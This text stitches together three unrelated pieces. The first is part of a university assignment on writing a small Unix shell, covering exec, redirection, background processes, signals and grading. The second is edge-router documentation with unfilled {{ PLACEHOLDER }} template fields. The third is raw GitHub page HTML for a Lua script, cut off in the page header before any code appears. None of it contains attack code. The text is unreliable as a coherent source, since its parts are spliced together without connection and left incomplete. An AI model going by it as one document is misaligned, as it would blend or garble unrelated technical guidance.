change it after the execution of a built-in command. A process can use chdir() (Links to an external site.) to change its directory. To test the implementation of the cd command in smallsh, don't use getenv("PWD") because it will not give you the correct result. Instead, you can use the function getcwd() (Links to an external site.). Here is why getenv("PWD") doesn't give you the correct result: PWD is an environment variable. As discussed in Module 4, Exploration: Environment "When a parent process forks a child process, the child process inherits the environment of its parent process." When you run smallsh from a bash shell, smallsh inherits the environment of this bash shell The value of PWD in the bash shell is set to the directory in which you are when you run the command to start smallsh smallsh inherits this value of PWD. When you change the directory in smallsh, it doesn't update the value of the environment variable PWD 5. Executing Other Commands Note that if exec() is told to execute something that it cannot do, like run a program that doesn't exist, it will fail, and return the reason why. In this case, your shell should indicate to the user that a command could not be executed (which you know because exec() returned an error), and set the value retrieved by the built-in status command to 1. Make sure that the child process that has had an exec() call fail terminates itself, or else it often loops back up to the top and tries to become a parent shell. This is easy to spot: if the output of the grading script seems to be repeating itself, then you've likely got a child process that didn't terminate after a failed exec(). You can choose any function in the exec() family. However, we suggest that using either execlp() or execvp() will be simplest because of the following reasons smallsh doesn't need to pass a new environment to the program. So the additional functionality provided by the exec() functions with names ending in e is not required. One example of a command that smallsh needs to run is ls (the graders will try this command at the start of the testing). Running this command will be a lot easier using the exec() functions that search the PATH environment variable. 6. Input & Output Redirection We recommend that the needed input/output redirection should be done in the child process. Note that after using dup2() to set up the redirection, the redirection symbol and redirection destination/source are NOT passed into the exec command For example, if the command given is ls > junk, then you handle the redirection to "junk" with dup2() and then simply pass ls into exec(). 7. Executing Commands in Foreground & Background Foreground Commands For a foreground command, it is recommend to have the parent simply call waitpid() on the child, while it waits. Background Commands The shell should respect the input and output redirection operators for a command regardless of whether the command is to be run in the foreground or the background. This means that a background command should use /dev/null for input only when input redirection is not specified in the command. Similarly a background command should use /dev/null for output only when output redirection is not specified in the command. Your parent shell will need to periodically check for the background child processes to complete, so that they can be cleaned up, as the shell continues to run and process commands. Consider storing the PIDs of non-completed background processes in an array. Then every time BEFORE returning access to the command line to the user, you can check the status of these processes using waitpid(...NOHANG...). Alternatively, you may use a signal handler to immediately wait() for child processes that terminate, as opposed to periodically checking a list of started background processes The time to print out when these background processes have completed is just BEFORE command line access and control are returned to the user, every time that happens. 8. Signals SIGINT & SIGTSTP Reentrancy is important when we consider that signal handlers cause jumps in execution that cause problems with certain functions. Note that the printf() family of functions is NOT reentrant. In your signal handlers, when outputting text, you must use other output functions! What to turn in? You can only use C for coding this assignment and you must use the gcc compiler. You can use C99 or GNU99 standard or the default standard used by the gcc installation on os1. Your assignment will be graded on os1. Submit a single zip file with all your code, which can be in as many different files as you want. This zip file must be named youronid_program3.zip where youronid should be replaced by your own ONID. E.g., if chaudhrn was submitting the assignment, the file must be named chaudhrn_program3.zip. In the zip file, you must include a text file called README.txt that contains instructions on how to compile your code using gcc to create an executable file that must be named smallsh. Your zip file should not contain any extraneous files. In particular, make sure not to zip up the __MACOSX directories. When you resubmit a file in Canvas, Canvas can attach a suffix to the file, e.g., the file name may become chaudhrn_program3-1.zip. Don't worry about this name change as no points will be deducted because of this. Caution During the development of this program, take extra care to only do your work on os1, our class server, as your software will likely negatively impact whatever machine it runs on, especially before it is finished. If you cause trouble on one of the non-class, public servers, it could hurt your grade! If you are having trouble logging in to any of our EECS servers because of runaway processes, please use this page to kill off any programs running on your account that might be blocking your access: T.E.A.C.H. - The Engineering Accounts and Classes HomepageLinks to an external site. Grading Criteria This assignment is worth 20% of your grade and there are 180 points available for it. 170 points are available in the test script, while the final 10 points will be based on your style, readability, and commenting. Comment well, often, and verbosely: we want to see that you are telling us WHY you are doing things, in addition to telling us WHAT you are doing. Once the program is compiled, according to your specifications given in README.txt, your shell will be executed to run a few sample commands against (ls, status, exit, in that order). If the program does not successfully work on those commands, it will receive a zero. If it works, then the grading script will be run against it (as detailed below) for final grading. Points will be assigned according to the grading script running on our class server only. Grading Method Here is the grading script p3testscript. It is a bash script that starts the smallsh program and runs commands on smallsh's command line. Most of the commands run by the grading script are very similar to the commands shown in the section Sample Program Execution. You can open the script in a text editor. The comments in the script will show you the points for individual items. Use the script to prepare for your grade, as this is how it's being earned. To run the script, place it in the same directory as your compiled shell, chmod it (chmod +x ./p3testscript) and run this command from a bash prompt: $ ./p3testscript 2>&1 or $ ./p3testscript 2>&1 | more or $ ./p3testscript > mytestresults 2>&1 Do not worry if the spacing, indentation, or look of the output of the script is different than when you run it interactively: that won’t affect your grade. The script may add extra colons at the beginning of lines or do other weird things, like put output about terminating processes further down the script than you intended. If your program does not work with the grading script, and you instead request that we grade your script by hand, we will apply a 15% reduction to your final score. So from the very beginning, make sure that you work with the grading script on our class server!
Nate158s / Digital Marketing # Routing with EdgeJS https://github.com/Nate158s The `{{ PACKAGE_NAME }}/core` package provides a JavaScript API for controlling routing and caching from your code base rather than a CDN web portal. Using this _{{ EDGEJS_LABEL }}_ approach allows this vital routing logic to be properly tested, reviewed, and version controlled, just like the rest of your application code. Using the Router, you can: - Proxy requests to upstream sites - Send redirects from the network edge - Render responses on the server using Next.js, Nuxt.js, Angular, or any other framework that supports server side rendering. - Alter request and response headers - Send synthetic responses - Configure multiple destinations for split testing ## Configuration To define routes for {{ PRODUCT_NAME }}, create a `routes.js` file in the root of your project. You can override the default path to the router by setting the `routes` key in `{{ CONFIG_FILE }}`. The `routes.js` file should export an instance of `{{ PACKAGE_NAME }}/core/router/Router`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() ``` ## Declare Routes Declare routes using the method corresponding to the HTTP method you want to match. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().get('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` All HTTP methods are available: - get - put - post - patch - delete - head To match all methods, use `match`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().match('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` ## Route Execution When {{ PRODUCT_NAME }} receives a request, it executes **each route that matches the request** in the order in which they are declared until one sends a response. The following methods return a response: - [appShell](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#appshell) - [compute](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) - [proxy](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#proxy) - [redirect](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#redirect) - [send](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#send) - [serveStatic](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#servestatic) - [serviceWorker](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#serviceworker) - [stream](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#stream) - [use](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) Multiple routes can therefore be executed for a given request. A common pattern is to add caching with one route and render the response with a later one using middleware. In the following example we cache then render a response with Next.js: ```js const { Router } = require('{{ PACKAGE_NAME }}/core/router') const { nextRoutes } = require('{{ PACKAGE_NAME }}/next') // In this example a request to /products/1 will be cached by the first route, then served by the `nextRoutes` middleware new Router() .get('/products/:id', ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 }, }) }) .use(nextRoutes) ``` ### Alter Requests and Responses {{ PRODUCT_NAME }} offers APIs to manipulate request and response headers and cookies. The APIs are: | Operation | Request | Upstream Response | Response sent to Browser | | ------------- | --------------------- | ------------------------------ | ------------------------ | | Set header | `setRequestHeader` | `setUpstreamResponseHeader` | `setResponseHeader` | | Add cookie | `*` | `addUpstreamResponseCookie` | `addResponseCookie` | | Update header | `updateRequestHeader` | `updateUpstreamResponseHeader` | `updateResponseHeader` | | Update cookie | `*` | `updateUpstreamResponseCookie` | `updateResponseCookie` | | Remove header | `removeRequestHeader` | `removeUpstreamResponseHeader` | `removeResponseHeader` | | Remove cookie | `*` | `removeUpstreamResponseCookie` | `removeResponseCookie` | `*` Adding, updating, or removing a request cookie can be achieved with `updateRequestHeader` applied to `cookie` header. You can find detailed descriptions of these APIs in the `{{ PACKAGE_NAME }}/core` [documentation](/docs/api/core/classes/_router_responsewriter_.responsewriter.html). #### Embedded Values You can inject values from the request or response into headers or cookies as template literals using the `${value}` format. For example: `setResponseHeader('original-request-path', '${path}')` would add an `original-request-path` response header whose value is the request path. | Value | Embedded value | Description | | --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | HTTP method | `${method}` | The value of the HTTP method used for the request (e.g. `GET`) | | URL | `${url}` | The complete URL path including any query strings (e.g. `/search?query=docs`). Protocol, hostname, and port are not included. | | Path | `${path}` | The URL path excluding any query strings (e.g. `/search`) | | Query string | `${query:<name>}` | The value of the `<name>` query string or empty if not available. | | Request header | `${req:<name>}` | The value of the `<name>` request header or empty if not available. | | Request cookie | `${req:cookie:<name>}` | The value of the `<name>` cookie in `cookie` request header or empty if not available. | | Response header | `${res:<name>}` | The value of the `<name>` response header or empty if not available. | ## Route Pattern Syntax The syntax for route paths is provided by [path-to-regexp](https://github.com/pillarjs/path-to-regexp#path-to-regexp), which is the same library used by [Express](https://expressjs.com/). ### Named Parameters Named parameters are defined by prefixing a colon to the parameter name (`:foo`). ```js new Router().get('/:foo/:bar', res => { /* ... */ }) ``` **Please note:** Parameter names must use "word characters" (`[A-Za-z0-9_]`). #### Custom Matching Parameters Parameters can have a custom regexp, which overrides the default match (`[^/]+`). For example, you can match digits or names in a path: ```js new Router().get('/icon-:foo(\\d+).png', res => { /* ... */ }) ``` **Tip:** Backslashes need to be escaped with another backslash in JavaScript strings. #### Custom Prefix and Suffix Parameters can be wrapped in `{}` to create custom prefixes or suffixes for your segment: ```js new Router().get('/:attr1?{-:attr2}?{-:attr3}?', res => { /* ... */ }) ``` ### Unnamed Parameters It is possible to write an unnamed parameter that only consists of a regexp. It works the same the named parameter, except it will be numerically indexed: ```js new Router().get('/:foo/(.*)', res => { /* ... */ }) ``` ### Modifiers Modifiers must be placed after the parameter (e.g. `/:foo?`, `/(test)?`, `/:foo(test)?`, or `{-:foo(test)}?`). #### Optional Parameters can be suffixed with a question mark (`?`) to make the parameter optional. ```js new Router().get('/:foo/:bar?', res => { /* ... */ }) ``` **Tip:** The prefix is also optional, escape the prefix `\/` to make it required. #### Zero or More Parameters can be suffixed with an asterisk (`*`) to denote zero or more parameter matches. ```js new Router().get('/:foo*', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. #### One or More Parameters can be suffixed with a plus sign (`+`) to denote one or more parameter matches. ```js new Router().get('/:foo+', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. ## Matching Method, Query Parameters, Cookies, and Headers Match can either take a URL path, or an object which allows you to match based on method, query parameters, cookies, or request headers: ```js router.match( { path: '/some-path', // value is route-pattern syntax method: /GET|POST/i, // value is a regular expression cookies: { currency: /^(usd)$/i }, // keys are cookie names, values are regular expressions headers: { 'x-moov-device': /^desktop$/i }, // keys are header names, values are regular expressions query: { page: /^(1|2|3)$/ }, // keys are query parameter names, values are regular expressions }, () => {}, ) ``` ## Body Matching for POST requests You can also match HTTP `POST` requests based on their request body content as in the following example: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, // the body content will parsed as JSON and the parsed JSON matched against the presence of the criteria properties (in this case a GraphQL operation named 'GetProducts') }, () => {}, ) ``` Currently the only body content supported is JSON. Body content is parsed as JSON and is matched against the presence of the fields specified in the `criteria` field. The [_POST Body Matching Criteria_](#section_post_body_matching_criteria) section below contains examples of using the `criteria` field. Body matching can be combined with other match parameters such as headers and cookies. For example, ```js router.match( { // Only matches GetProducts operations to the /graphql endpoint // for logged in users path: '/graphql', cookies: { loginStatus: /^(loggedIn)$/i }, // loggedin users body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, () => {}, ) ``` ### Caching & POST Body Matching When body matching is combined with `cache` in a route, **the HTTP request body will automatically be used as the cache key.** For example, the code below will cache GraphQL `GetProducts` queries using the entire request body as the cache key: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, }) }, ) ``` You can still add additional parameters to the cache key using the normal {{ EDGEJS_LABEL }} `key` property. For example, the code below will cache GraphQL `GetProducts` queries separately for each user based on their userID cookie _and_ the HTTP body of the request. ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, key: new CustomCacheKey().addCookie('userID'), // Split cache by userID }) }, ) ``` ### POST Body Matching Criteria The `criteria` property can be a string or regular expression. For example, the router below, ```js router.match( { body: { parse: 'json', criteria: { foo: 'bar' } }, }, () => {}, ) ``` would match an HTTP POST request body containing: ```js { "foo": "bar", "bar": "foo" } ``` ### Regular Expression Criteria Regular expressions can also be used as `criteria`. For example, ```js router.match( { body: { parse: 'json', criteria: { operationName: /^Get/ } }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operationName": "GetShops", "query": "...", "variables": {} } ``` ### Nested JSON Criteria You can also use a nested object to match a field at a specific location in the JSON. For example, ```js router.match( { body: { parse: 'json', criteria: { operation: { name: 'GetShops', }, }, }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operation": { "name": "GetShops", "query": "..." } } ``` ## GraphQL Queries The {{ EDGEJS_LABEL }} router provides a `graphqlOperation` method for matching GraphQL. ```js router.graphqlOperation('GetProducts', res => { /* Handle the POST for the GetProducts query specifically */ }) ``` By default, the `graphqlOperation` assumes your GraphQL endpoint is at `/graphql`. You can alter this behavior by using the `path` property as shown below: ```js router.graphqlOperation({ path: '/api/graphql', name: 'GetProducts' }, res => { /* Handle the POST for the GetProducts query specifically */ }) ``` Note that when the `graphqlOperation` function is used, the HTTP request body will automatically be included in the cache key. The `graphqlOperation` function is provided to simplify matching of common GraphQL scenarios. For complex GraphQL matching (such as authenticated data), you can use the generic [_Body Matching for POST requests_](#section_body_matching_for_post_requests) feature. See the guide on [Implementing GraphQL Routing](/guides/graphql) in your project. ## Request Handling The second argument to routes is a function that receives a `ResponseWriter` and uses it to send a response. Using `ResponseWriter` you can: - Proxy a backend configured in `{{ CONFIG_FILE }}` - Serve a static file - Send a redirect - Send a synthetic response - Cache the response at edge and in the browser - Manipulate request and response headers [See the API Docs for Response Writer](/docs/__version__/api/core/classes/_router_responsewriter_.responsewriter.html) ## Full Example This example shows typical usage of `{{ PACKAGE_NAME }}/core`, including serving a service worker, next.js routes (vanity and conventional routes), and falling back to a legacy backend. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() .get('/service-worker.js', ({ serviceWorker }) => { // serve the service worker built by webpack serviceWorker('dist/service-worker.js') }) .get('/p/:productId', ({ cache }) => { // cache products for one hour at edge and using the service worker cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60, }, browser: { maxAgeSeconds: 0, serviceWorkerSeconds: 60 * 60, }, }) proxy('origin') }) .fallback(({ proxy }) => { // serve all unmatched URLs from the origin backend configured in {{ CONFIG_FILE }} proxy('origin') }) ``` ## Errors Handling You can use the router's `catch` method to return specific content when the request results in an error status (For example, a 500). Using `catch`, you can also alter the `statusCode` and `response` on the edge before issuing a response to the user. ```js router.catch(number | Regexp, (routeHandler: Function)) ``` ### Examples To issue a custom error page when the origin returns a 500: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() // Example route .get('/failing-route', ({ proxy }) => { proxy('broken-origin') }) // So let's assume that backend "broken-origin" returns 500, so instead // of rendering the broken-origin response we can alter that by specifing .catch .catch(500, ({ serveStatic }) => { serveStatic('static/broken-origin-500-page.html', { statusCode: 502, }) }) ``` The `.catch` method allows the edge router to render a response based on the result preceeding routes. So in the example above whenever we receive a 500 we respond with `broken-origin-500-page.html` from the application's `static` directory and change the status code to 502. - Your catch callback is provided a [ResponseWriter](/docs/api/core/classes/_router_responsewriter_.responsewriter.html) instance. You can use any ResponseWriter method except `proxy` inside `.catch`. - We highly recommend keeping `catch` routes simple. Serve responses using `serveStatic` instead of `send` to minimize the size of the edge bundle. ## Environment Edge Redirects In addition to sending redirects at the edge within the router configuration, this can also be configured at the environment level within the Layer0 Developer Console. Under _<Your Environment> → Configuration_, click _Edit_ to draft a new configuration. Scroll down to the _Redirects_ section:  Click _Add A Redirect_ to configure the path or host you wish to redirect to:  **Note:** you will need to activate and redeploy your site for this change to take effect.
ukasik123 / Testscript 3<!DOCTYPE html> <html lang="en" class=""> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# object: http://ogp.me/ns/object# article: http://ogp.me/ns/article# profile: http://ogp.me/ns/profile#"> <meta charset='utf-8'> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Language" content="en"> <meta name="viewport" content="width=1020"> <title>GoS/testscript3.lua at master · Cloudhax23/GoS · GitHub</title> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <link rel="apple-touch-icon" sizes="57x57" href="/apple-touch-icon-114.png"> <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114.png"> <link rel="apple-touch-icon" sizes="72x72" href="/apple-touch-icon-144.png"> <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144.png"> <meta property="fb:app_id" content="1401488693436528"> <meta content="@github" name="twitter:site" /><meta content="summary" name="twitter:card" /><meta content="Cloudhax23/GoS" name="twitter:title" /><meta content="Contribute to GoS development by creating an account on GitHub." name="twitter:description" /><meta content="https://avatars0.githubusercontent.com/u/13112382?v=3&s=400" name="twitter:image:src" /> <meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="https://avatars0.githubusercontent.com/u/13112382?v=3&s=400" property="og:image" /><meta content="Cloudhax23/GoS" property="og:title" /><meta content="https://github.com/Cloudhax23/GoS" property="og:url" /><meta content="Contribute to GoS development by creating an account on GitHub." property="og:description" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="assets" href="https://assets-cdn.github.com/"> <meta name="pjax-timeout" content="1000"> <meta name="msapplication-TileImage" content="/windows-tile.png"> <meta name="msapplication-TileColor" content="#ffffff"> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-analytics" content="UA-3769691-2"> <meta content="collector.githubapp.com" name="octolytics-host" /><meta content="collector-cdn.github.com" name="octolytics-script-host" /><meta content="github" name="octolytics-app-id" /><meta content="1F0159F3:63D6:38B2965:55E9CB4E" name="octolytics-dimension-request_id" /> <meta content="Rails, view, blob#show" data-pjax-transient="true" name="analytics-event" /> <meta class="js-ga-set" name="dimension1" content="Logged Out"> <meta class="js-ga-set" name="dimension4" content="Current repo nav"> <meta name="is-dotcom" content="true"> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <link rel="mask-icon" href="https://assets-cdn.github.com/pinned-octocat.svg" color="#4078c0"> <link rel="icon" type="image/x-icon" href="https://assets-cdn.github.com/favicon.ico"> <!-- </textarea> --><!-- '"` --><meta content="authenticity_token" name="csrf-param" /> <meta content="fqjSIXjxNP0vg7DSeQevGfNr6iXQzxHKRP1aqJ9mFAVUKrEPR8Bwl58e3xIEeZq+qEnV8Jit2aZkkNYeSIGukg==" name="csrf-token" /> <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-760a949769f2883d6febd885c263b1f47c072484378029415608e3a1460a25c6.css" media="all" rel="stylesheet" /> <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github2-77ad6e1b95782474252f43cb862f85719e177fdfaee9bb9cde3b9ee50d9cc602.css" media="all" rel="stylesheet" /> <meta http-equiv="x-pjax-version" content="47f3936edef6973de4eeb94412cca773"> <meta name="description" content="Contribute to GoS development by creating an account on GitHub."> <meta name="go-import" content="github.com/Cloudhax23/GoS git https://github.com/Cloudhax23/GoS.git"> <meta content="13112382" name="octolytics-dimension-user_id" /><meta content="Cloudhax23" name="octolytics-dimension-user_login" /><meta content="39972701" name="octolytics-dimension-repository_id" /><meta content="Cloudhax23/GoS" name="octolytics-dimension-repository_nwo" /><meta content="true" name="octolytics-dimension-repository_public" /><meta content="false" name="octolytics-dimension-repository_is_fork" /><meta content="39972701" name="octolytics-dimension-repository_network_root_id" /><meta content="Cloudhax23/GoS" name="octolytics-dimension-repository_network_root_nwo" /> <link href="https://github.com/Cloudhax23/GoS/commits/master.atom" rel="alternate" title="Recent Commits to GoS:master" type="application/atom+xml"> </head> <body class="logged_out env-production windows vis-public page-blob"> <a href="#start-of-content" tabindex="1" class="accessibility-aid js-skip-to-content">Skip to content</a> <div class="header header-logged-out" role="banner"> <div class="container clearfix"> <a class="header-logo-wordmark" href="https://github.com/" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark"> <span class="mega-octicon octicon-logo-github"></span> </a> <div class="header-actions" role="navigation"> <a class="btn btn-primary" href="/join" data-ga-click="(Logged out) Header, clicked Sign up, text:sign-up">Sign up</a> <a class="btn" href="/login?return_to=%2FCloudhax23%2FGoS%2Fblob%2Fmaster%2FCommon%2FCloudBot%2Ftestscript3.lua" data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">Sign in</a> </div> <div class="site-search repo-scope js-site-search" role="search"> <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/Cloudhax23/GoS/search" class="js-site-search-form" data-global-search-url="/search" data-repo-search-url="/Cloudhax23/GoS/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <label class="js-chromeless-input-container form-control"> <div class="scope-badge">This repository</div> <input type="text" class="js-site-search-focus js-site-search-field is-clearable chromeless-input" data-hotkey="s" name="q" placeholder="Search" aria-label="Search this repository" data-global-scope-placeholder="Search GitHub" data-repo-scope-placeholder="Search" tabindex="1" autocapitalize="off"> </label> </form> </div> <ul class="header-nav left" role="navigation"> <li class="header-nav-item"> <a class="header-nav-link" href="/explore" data-ga-click="(Logged out) Header, go to explore, text:explore">Explore</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="/features" data-ga-click="(Logged out) Header, go to features, text:features">Features</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="https://enterprise.github.com/" data-ga-click="(Logged out) Header, go to enterprise, text:enterprise">Enterprise</a> </li> <li class="header-nav-item"> <a class="header-nav-link" href="/pricing" data-ga-click="(Logged out) Header, go to pricing, text:pricing">Pricing</a> </li> </ul> </div> </div> <div id="start-of-content" class="accessibility-aid"></div> <div id="js-flash-container"> </div> <div itemscope itemtype="http://schema.org/WebPage"> <div class="pagehead repohead instapaper_ignore readability-menu"> <div class="container"> <div class="clearfix"> <ul class="pagehead-actions"> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to watch a repository" rel="nofollow"> <span class="octicon octicon-eye"></span> Watch </a> <a class="social-count" href="/Cloudhax23/GoS/watchers"> 1 </a> </li> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to star a repository" rel="nofollow"> <span class="octicon octicon-star"></span> Star </a> <a class="social-count js-social-count" href="/Cloudhax23/GoS/stargazers"> 0 </a> </li> <li> <a href="/login?return_to=%2FCloudhax23%2FGoS" class="btn btn-sm btn-with-count tooltipped tooltipped-n" aria-label="You must be signed in to fork a repository" rel="nofollow"> <span class="octicon octicon-repo-forked"></span> Fork </a> <a href="/Cloudhax23/GoS/network" class="social-count"> 2 </a> </li> </ul> <h1 itemscope itemtype="http://data-vocabulary.org/Breadcrumb" class="entry-title public "> <span class="mega-octicon octicon-repo"></span> <span class="author"><a href="/Cloudhax23" class="url fn" itemprop="url" rel="author"><span itemprop="title">Cloudhax23</span></a></span><!-- --><span class="path-divider">/</span><!-- --><strong><a href="/Cloudhax23/GoS" data-pjax="#js-repo-pjax-container">GoS</a></strong> <span class="page-context-loader"> <img alt="" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </span> </h1> </div> </div> </div> <div class="container"> <div class="repository-with-sidebar repo-container new-discussion-timeline "> <div class="repository-sidebar clearfix"> <nav class="sunken-menu repo-nav js-repo-nav js-sidenav-container-pjax js-octicon-loaders" role="navigation" data-pjax="#js-repo-pjax-container" data-issue-count-url="/Cloudhax23/GoS/issues/counts"> <ul class="sunken-menu-group"> <li class="tooltipped tooltipped-w" aria-label="Code"> <a href="/Cloudhax23/GoS" aria-label="Code" aria-selected="true" class="js-selected-navigation-item selected sunken-menu-item" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches /Cloudhax23/GoS"> <span class="octicon octicon-code"></span> <span class="full-word">Code</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Issues"> <a href="/Cloudhax23/GoS/issues" aria-label="Issues" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g i" data-selected-links="repo_issues repo_labels repo_milestones /Cloudhax23/GoS/issues"> <span class="octicon octicon-issue-opened"></span> <span class="full-word">Issues</span> <span class="js-issue-replace-counter"></span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Pull requests"> <a href="/Cloudhax23/GoS/pulls" aria-label="Pull requests" class="js-selected-navigation-item sunken-menu-item" data-hotkey="g p" data-selected-links="repo_pulls /Cloudhax23/GoS/pulls"> <span class="octicon octicon-git-pull-request"></span> <span class="full-word">Pull requests</span> <span class="js-pull-replace-counter"></span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> </ul> <div class="sunken-menu-separator"></div> <ul class="sunken-menu-group"> <li class="tooltipped tooltipped-w" aria-label="Pulse"> <a href="/Cloudhax23/GoS/pulse" aria-label="Pulse" class="js-selected-navigation-item sunken-menu-item" data-selected-links="pulse /Cloudhax23/GoS/pulse"> <span class="octicon octicon-pulse"></span> <span class="full-word">Pulse</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> <li class="tooltipped tooltipped-w" aria-label="Graphs"> <a href="/Cloudhax23/GoS/graphs" aria-label="Graphs" class="js-selected-navigation-item sunken-menu-item" data-selected-links="repo_graphs repo_contributors /Cloudhax23/GoS/graphs"> <span class="octicon octicon-graph"></span> <span class="full-word">Graphs</span> <img alt="" class="mini-loader" height="16" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif" width="16" /> </a> </li> </ul> </nav> <div class="only-with-full-nav"> <div class="js-clone-url clone-url open" data-protocol-type="http"> <h3><span class="text-emphasized">HTTPS</span> clone URL</h3> <div class="input-group js-zeroclipboard-container"> <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target" value="https://github.com/Cloudhax23/GoS.git" readonly="readonly" aria-label="HTTPS clone URL"> <span class="input-group-button"> <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </span> </div> </div> <div class="js-clone-url clone-url " data-protocol-type="subversion"> <h3><span class="text-emphasized">Subversion</span> checkout URL</h3> <div class="input-group js-zeroclipboard-container"> <input type="text" class="input-mini input-monospace js-url-field js-zeroclipboard-target" value="https://github.com/Cloudhax23/GoS" readonly="readonly" aria-label="Subversion checkout URL"> <span class="input-group-button"> <button aria-label="Copy to clipboard" class="js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s" data-copied-hint="Copied!" type="button"><span class="octicon octicon-clippy"></span></button> </span> </div> </div> <div class="clone-options">You can clone with <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/users/set_protocol?protocol_selector=http&protocol_type=clone" class="inline-form js-clone-selector-form " data-form-nonce="88468cc5975a1aa8c4fa8cca527334be676def5e" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /><input name="authenticity_token" type="hidden" value="2xQ5nfyk24DgOR2+1565hcvqNZHyWD7txJmx2wXE1Wfo98sJ1KR91RNpx7e0aUo6b68ohta8slG3Jl0b+XchXg==" /></div><button class="btn-link js-clone-selector" data-protocol="http" type="submit">HTTPS</button></form> or <!-- </textarea> --><!-- '"` --><form accept-charset="UTF-8" action="/users/set_protocol?protocol_selector=subversion&protocol_type=clone" class="inline-form js-clone-selector-form " data-form-nonce="88468cc5975a1aa8c4fa8cca527334be676def5e" data-remote="true" method="post"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /><input name="authenticity_token" type="hidden" value="UcrPQ/IREUpGynh+H40DCBh3x44j5pBc0sx/E+w1nbRC++gZnsbIGW2MT/o23EfO6ppTmjRNiP2R6GwXArgbtg==" /></div><button class="btn-link js-clone-selector" data-protocol="subversion" type="submit">Subversion</button></form>. <a href="https://help.github.com/articles/which-remote-url-should-i-use" class="help tooltipped tooltipped-n" aria-label="Get help on which URL is right for you."> <span class="octicon octicon-question"></span> </a> </div> <a href="https://windows.github.com" class="btn btn-sm sidebar-button" title="Save Cloudhax23/GoS to your computer and use it in GitHub 